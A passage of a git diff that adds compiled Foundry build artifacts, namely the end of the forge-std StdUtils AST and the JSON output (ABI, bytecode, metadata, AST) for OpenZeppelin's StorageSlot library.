95:3:11","nodeType":"YulIdentifier","src":"10095:3:11"},"nativeSrc":"10095:5:11","nodeType":"YulFunctionCall","src":"10095:5:11"},{"name":"consoleAddress","nativeSrc":"10102:14:11","nodeType":"YulIdentifier","src":"10102:14:11"},{"name":"payloadStart","nativeSrc":"10118:12:11","nodeType":"YulIdentifier","src":"10118:12:11"},{"name":"payloadLength","nativeSrc":"10132:13:11","nodeType":"YulIdentifier","src":"10132:13:11"},{"kind":"number","nativeSrc":"10147:1:11","nodeType":"YulLiteral","src":"10147:1:11","type":"","value":"0"},{"kind":"number","nativeSrc":"10150:1:11","nodeType":"YulLiteral","src":"10150:1:11","type":"","value":"0"}],"functionName":{"name":"staticcall","nativeSrc":"10084:10:11","nodeType":"YulIdentifier","src":"10084:10:11"},"nativeSrc":"10084:68:11","nodeType":"YulFunctionCall","src":"10084:68:11"},"variables":[{"name":"r","nativeSrc":"10079:1:11","nodeType":"YulTypedName","src":"10079:1:11","type":""}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":11921,"isOffset":false,"isSlot":false,"src":"10102:14:11","valueSize":1},{"declaration":11912,"isOffset":false,"isSlot":false,"src":"10050:7:11","valueSize":1},{"declaration":11916,"isOffset":false,"isSlot":false,"src":"10132:13:11","valueSize":1}],"id":11924,"nodeType":"InlineAssembly","src":"10003:159:11"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_sendLogPayloadView","nameLocation":"9796:19:11","parameters":{"id":11913,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11912,"mutability":"mutable","name":"payload","nameLocation":"9829:7:11","nodeType":"VariableDeclaration","scope":11926,"src":"9816:20:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":11911,"name":"bytes","nodeType":"ElementaryTypeName","src":"9816:5:11","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"9815:22:11"},"returnParameters":{"id":11914,"nodeType":"ParameterList","parameters":[],"src":"9851:0:11"},"scope":11975,"stateMutability":"view","virtual":false,"visibility":"private"},{"id":11940,"nodeType":"FunctionDefinition","src":"10174:138:11","nodes":[],"body":{"id":11939,"nodeType":"Block","src":"10236:76:11","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e6729","id":11934,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10286:13:11","typeDescriptions":{"typeIdentifier":"t_stringliteral_41304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f50","typeString":"literal_string \"log(string)\""},"value":"log(string)"},{"id":11935,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11928,"src":"10301:2:11","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_41304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f50","typeString":"literal_string \"log(string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":11932,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"10262:3:11","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":11933,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10266:19:11","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"10262:23:11","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":11936,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10262:42:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":11931,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11910,"src":"10246:15:11","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":11937,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10246:59:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11938,"nodeType":"ExpressionStatement","src":"10246:59:11"}]},"implemented":true,"kind":"function","modifiers":[],"name":"console2_log_StdUtils","nameLocation":"10183:21:11","parameters":{"id":11929,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11928,"mutability":"mutable","name":"p0","nameLocation":"10219:2:11","nodeType":"VariableDeclaration","scope":11940,"src":"10205:16:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11927,"name":"string","nodeType":"ElementaryTypeName","src":"10205:6:11","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"10204:18:11"},"returnParameters":{"id":11930,"nodeType":"ParameterList","parameters":[],"src":"10236:0:11"},"scope":11975,"stateMutability":"pure","virtual":false,"visibility":"private"},{"id":11957,"nodeType":"FunctionDefinition","src":"10318:162:11","nodes":[],"body":{"id":11956,"nodeType":"Block","src":"10392:88:11","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e7432353629","id":11950,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10442:21:11","typeDescriptions":{"typeIdentifier":"t_stringliteral_b60e72ccf6d57ab53eb84d7e94a9545806ed7f93c4d5673f11a64f03471e584e","typeString":"literal_string \"log(string,uint256)\""},"value":"log(string,uint256)"},{"id":11951,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11942,"src":"10465:2:11","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11952,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11944,"src":"10469:2:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b60e72ccf6d57ab53eb84d7e94a9545806ed7f93c4d5673f11a64f03471e584e","typeString":"literal_string \"log(string,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":11948,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"10418:3:11","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":11949,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10422:19:11","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"10418:23:11","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":11953,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10418:54:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":11947,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11910,"src":"10402:15:11","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":11954,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10402:71:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11955,"nodeType":"ExpressionStatement","src":"10402:71:11"}]},"implemented":true,"kind":"function","modifiers":[],"name":"console2_log_StdUtils","nameLocation":"10327:21:11","parameters":{"id":11945,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11942,"mutability":"mutable","name":"p0","nameLocation":"10363:2:11","nodeType":"VariableDeclaration","scope":11957,"src":"10349:16:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11941,"name":"string","nodeType":"ElementaryTypeName","src":"10349:6:11","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11944,"mutability":"mutable","name":"p1","nameLocation":"10375:2:11","nodeType":"VariableDeclaration","scope":11957,"src":"10367:10:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11943,"name":"uint256","nodeType":"ElementaryTypeName","src":"10367:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10348:30:11"},"returnParameters":{"id":11946,"nodeType":"ParameterList","parameters":[],"src":"10392:0:11"},"scope":11975,"stateMutability":"pure","virtual":false,"visibility":"private"},{"id":11974,"nodeType":"FunctionDefinition","src":"10486:167:11","nodes":[],"body":{"id":11973,"nodeType":"Block","src":"10566:87:11","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e6729","id":11967,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10616:20:11","typeDescriptions":{"typeIdentifier":"t_stringliteral_4b5c4277d556d03fbf5ee534fba41dc13982b44f2fa82f1d48fdd8b5b5b692ac","typeString":"literal_string \"log(string,string)\""},"value":"log(string,string)"},{"id":11968,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11959,"src":"10638:2:11","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11969,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11961,"src":"10642:2:11","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4b5c4277d556d03fbf5ee534fba41dc13982b44f2fa82f1d48fdd8b5b5b692ac","typeString":"literal_string \"log(string,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":11965,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"10592:3:11","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":11966,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10596:19:11","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"10592:23:11","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":11970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10592:53:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":11964,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11910,"src":"10576:15:11","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":11971,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10576:70:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11972,"nodeType":"ExpressionStatement","src":"10576:70:11"}]},"implemented":true,"kind":"function","modifiers":[],"name":"console2_log_StdUtils","nameLocation":"10495:21:11","parameters":{"id":11962,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11959,"mutability":"mutable","name":"p0","nameLocation":"10531:2:11","nodeType":"VariableDeclaration","scope":11974,"src":"10517:16:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11958,"name":"string","nodeType":"ElementaryTypeName","src":"10517:6:11","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11961,"mutability":"mutable","name":"p1","nameLocation":"10549:2:11","nodeType":"VariableDeclaration","scope":11974,"src":"10535:16:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11960,"name":"string","nodeType":"ElementaryTypeName","src":"10535:6:11","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"10516:36:11"},"returnParameters":{"id":11963,"nodeType":"ParameterList","parameters":[],"src":"10566:0:11"},"scope":11975,"stateMutability":"pure","virtual":false,"visibility":"private"}],"abstract":true,"baseContracts":[],"canonicalName":"StdUtils","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[11975],"name":"StdUtils","nameLocation":"310:8:11","scope":11976,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":11} \ No newline at end of file diff --git a/contracts/out/StorageSlot.sol/StorageSlot.json b/contracts/out/StorageSlot.sol/StorageSlot.json new file mode 100644 index 000000000..5c335de3c --- /dev/null +++ b/contracts/out/StorageSlot.sol/StorageSlot.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x60556032600b8282823980515f1a607314602657634e487b7160e01b5f525f60045260245ffd5b305f52607381538281f3fe730000000000000000000000000000000000000000301460806040525f80fdfea26469706673582212205f31e9501daaddd0afc510b1fdc156f0b33e28a7ea7292464b3bf8d0f47e50b564736f6c63430008180033","sourceMap":"1279:1391:35:-:0;;;;;;;;;;;;;;;-1:-1:-1;;;1279:1391:35;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x730000000000000000000000000000000000000000301460806040525f80fdfea26469706673582212205f31e9501daaddd0afc510b1fdc156f0b33e28a7ea7292464b3bf8d0f47e50b564736f6c63430008180033","sourceMap":"1279:1391:35:-:0;;;;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"details\":\"Library for reading and writing primitive types to specific storage slots. Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. This library helps with reading and writing to such slots without the need for inline assembly. The functions in this library return Slot structs that contain a `value` member that can be used to read or write. Example usage to set ERC1967 implementation slot: ``` contract ERC1967 { bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), \\\"ERC1967: new implementation is not a contract\\\"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } } ``` _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._\",\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":\"StorageSlot\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":"StorageSlot"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol","id":48342,"exportedSymbols":{"StorageSlot":[48341]},"nodeType":"SourceUnit","src":"105:2566:35","nodes":[{"id":48283,"nodeType":"PragmaDirective","src":"105:23:35","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":48341,"nodeType":"ContractDefinition","src":"1279:1391:35","nodes":[{"id":48287,"nodeType":"StructDefinition","src":"1305:49:35","nodes":[],"canonicalName":"StorageSlot.AddressSlot","members":[{"constant":false,"id":48286,"mutability":"mutable","name":"value","nameLocation":"1342:5:35","nodeType":"VariableDeclaration","scope":48287,"src":"1334:13:35","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48285,"name":"address","nodeType":"ElementaryTypeName","src":"1334:7:35","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"name":"AddressSlot","nameLocation":"1312:11:35","scope":48341,"visibility":"public"},{"id":48290,"nodeType":"StructDefinition","src":"1360:46:35","nodes":[],"canonicalName":"StorageSlot.BooleanSlot","members":[{"constant":false,"id":48289,"mutability":"mutable","name":"value","nameLocation":"1394:5:35","nodeType":"VariableDeclaration","scope":48290,"src":"1389:10:35","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48288,"name":"bool","nodeType":"ElementaryTypeName","src":"1389:4:35","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"name":"BooleanSlot","nameLocation":"1367:11:35","scope":48341,"visibility":"public"},{"id":48293,"nodeType":"StructDefinition","src":"1412:49:35","nodes":[],"canonicalName":"StorageSlot.Bytes32Slot","members":[{"constant":false,"id":48292,"mutability":"mutable","name":"value","nameLocation":"1449:5:35","nodeType":"VariableDeclaration","scope":48293,"src":"1441:13:35","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":48291,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1441:7:35","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"name":"Bytes32Slot","nameLocation":"1419:11:35","scope":48341,"visibility":"public"},{"id":48296,"nodeType":"StructDefinition","src":"1467:49:35","nodes":[],"canonicalName":"StorageSlot.Uint256Slot","members":[{"constant":false,"id":48295,"mutability":"mutable","name":"value","nameLocation":"1504:5:35","nodeType":"VariableDeclaration","scope":48296,"src":"1496:13:35","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":48294,"name":"uint256","nodeType":"ElementaryTypeName","src":"1496:7:35","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"name":"Uint256Slot","nameLocation":"1474:11:35","scope":48341,"visibility":"public"},{"id":48307,"nodeType":"FunctionDefinition","src":"1614:190:35","nodes":[],"body":{"id":48306,"nodeType":"Block","src":"1698:106:35","nodes":[],"statements":[{"AST":{"nativeSrc":"1760:38:35","nodeType":"YulBlock","src":"1760:38:35","statements":[{"nativeSrc":"1774:14:35","nodeType":"YulAssignment","src":"1774:14:35","value":{"name":"slot","nativeSrc":"1784:4:35","nodeType":"YulIdentifier","src":"1784:4:35"},"variableNames":[{"name":"r.slot","nativeSrc":"1774:6:35","nodeType":"YulIdentifier","src":"1774:6:35"}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":48303,"isOffset":false,"isSlot":true,"src":"1774:6:35","suffix":"slot","valueSize":1},{"declaration":48299,"isOffset":false,"isSlot":false,"src":"1784:4:35","valueSize":1}],"id":48305,"nodeType":"InlineAssembly","src":"1751:47:35"}]},"documentation":{"id":48297,"nodeType":"StructuredDocumentation","src":"1522:87:35","text":" @dev Returns an `AddressSlot` with member `value` located at `slot`."},"implemented":true,"kind":"function","modifiers":[],"name":"getAddressSlot","nameLocation":"1623:14:35","parameters":{"id":48300,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48299,"mutability":"mutable","name":"slot","nameLocation":"1646:4:35","nodeType":"VariableDeclaration","scope":48307,"src":"1638:12:35","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":48298,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1638:7:35","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"1637:14:35"},"returnParameters":{"id":48304,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48303,"mutability":"mutable","name":"r","nameLocation":"1695:1:35","nodeType":"VariableDeclaration","scope":48307,"src":"1675:21:35","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$48287_storage_ptr","typeString":"struct StorageSlot.AddressSlot"},"typeName":{"id":48302,"nodeType":"UserDefinedTypeName","pathNode":{"id":48301,"name":"AddressSlot","nameLocations":["1675:11:35"],"nodeType":"IdentifierPath","referencedDeclaration":48287,"src":"1675:11:35"},"referencedDeclaration":48287,"src":"1675:11:35","typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$48287_storage_ptr","typeString":"struct StorageSlot.AddressSlot"}},"visibility":"internal"}],"src":"1674:23:35"},"scope":48341,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":48318,"nodeType":"FunctionDefinition","src":"1902:190:35","nodes":[],"body":{"id":48317,"nodeType":"Block","src":"1986:106:35","nodes":[],"statements":[{"AST":{"nativeSrc":"2048:38:35","nodeType":"YulBlock","src":"2048:38:35","statements":[{"nativeSrc":"2062:14:35","nodeType":"YulAssignment","src":"2062:14:35","value":{"name":"slot","nativeSrc":"2072:4:35","nodeType":"YulIdentifier","src":"2072:4:35"},"variableNames":[{"name":"r.slot","nativeSrc":"2062:6:35","nodeType":"YulIdentifier","src":"2062:6:35"}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":48314,"isOffset":false,"isSlot":true,"src":"2062:6:35","suffix":"slot","valueSize":1},{"declaration":48310,"isOffset":false,"isSlot":false,"src":"2072:4:35","valueSize":1}],"id":48316,"nodeType":"InlineAssembly","src":"2039:47:35"}]},"documentation":{"id":48308,"nodeType":"StructuredDocumentation","src":"1810:87:35","text":" @dev Returns an `BooleanSlot` with member `value` located at `slot`."},"implemented":true,"kind":"function","modifiers":[],"name":"getBooleanSlot","nameLocation":"1911:14:35","parameters":{"id":48311,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48310,"mutability":"mutable","name":"slot","nameLocation":"1934:4:35","nodeType":"VariableDeclaration","scope":48318,"src":"1926:12:35","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":48309,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1926:7:35","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"1925:14:35"},"returnParameters":{"id":48315,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48314,"mutability":"mutable","name":"r","nameLocation":"1983:1:35","nodeType":"VariableDeclaration","scope":48318,"src":"1963:21:35","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_BooleanSlot_$48290_storage_ptr","typeString":"struct StorageSlot.BooleanSlot"},"typeName":{"id":48313,"nodeType":"UserDefinedTypeName","pathNode":{"id":48312,"name":"BooleanSlot","nameLocations":["1963:11:35"],"nodeType":"IdentifierPath","referencedDeclaration":48290,"src":"1963:11:35"},"referencedDeclaration":48290,"src":"1963:11:35","typeDescriptions":{"typeIdentifier":"t_struct$_BooleanSlot_$48290_storage_ptr","typeString":"struct StorageSlot.BooleanSlot"}},"visibility":"internal"}],"src":"1962:23:35"},"scope":48341,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":48329,"nodeType":"FunctionDefinition","src":"2190:190:35","nodes":[],"body":{"id":48328,"nodeType":"Block","src":"2274:106:35","nodes":[],"statements":[{"AST":{"nativeSrc":"2336:38:35","nodeType":"YulBlock","src":"2336:38:35","statements":[{"nativeSrc":"2350:14:35","nodeType":"YulAssignment","src":"2350:14:35","value":{"name":"slot","nativeSrc":"2360:4:35","nodeType":"YulIdentifier","src":"2360:4:35"},"variableNames":[{"name":"r.slot","nativeSrc":"2350:6:35","nodeType":"YulIdentifier","src":"2350:6:35"}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":48325,"isOffset":false,"isSlot":true,"src":"2350:6:35","suffix":"slot","valueSize":1},{"declaration":48321,"isOffset":false,"isSlot":false,"src":"2360:4:35","valueSize":1}],"id":48327,"nodeType":"InlineAssembly","src":"2327:47:35"}]},"documentation":{"id":48319,"nodeType":"StructuredDocumentation","src":"2098:87:35","text":" @dev Returns an `Bytes32Slot` with member `value` located at `slot`."},"implemented":true,"kind":"function","modifiers":[],"name":"getBytes32Slot","nameLocation":"2199:14:35","parameters":{"id":48322,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48321,"mutability":"mutable","name":"slot","nameLocation":"2222:4:35","nodeType":"VariableDeclaration","scope":48329,"src":"2214:12:35","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":48320,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2214:7:35","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"2213:14:35"},"returnParameters":{"id":48326,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48325,"mutability":"mutable","name":"r","nameLocation":"2271:1:35","nodeType":"VariableDeclaration","scope":48329,"src":"2251:21:35","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_Bytes32Slot_$48293_storage_ptr","typeString":"struct StorageSlot.Bytes32Slot"},"typeName":{"id":48324,"nodeType":"UserDefinedTypeName","pathNode":{"id":48323,"name":"Bytes32Slot","nameLocations":["2251:11:35"],"nodeType":"IdentifierPath","referencedDeclaration":48293,"src":"2251:11:35"},"referencedDeclaration":48293,"src":"2251:11:35","typeDescriptions":{"typeIdentifier":"t_struct$_Bytes32Slot_$48293_storage_ptr","typeString":"struct 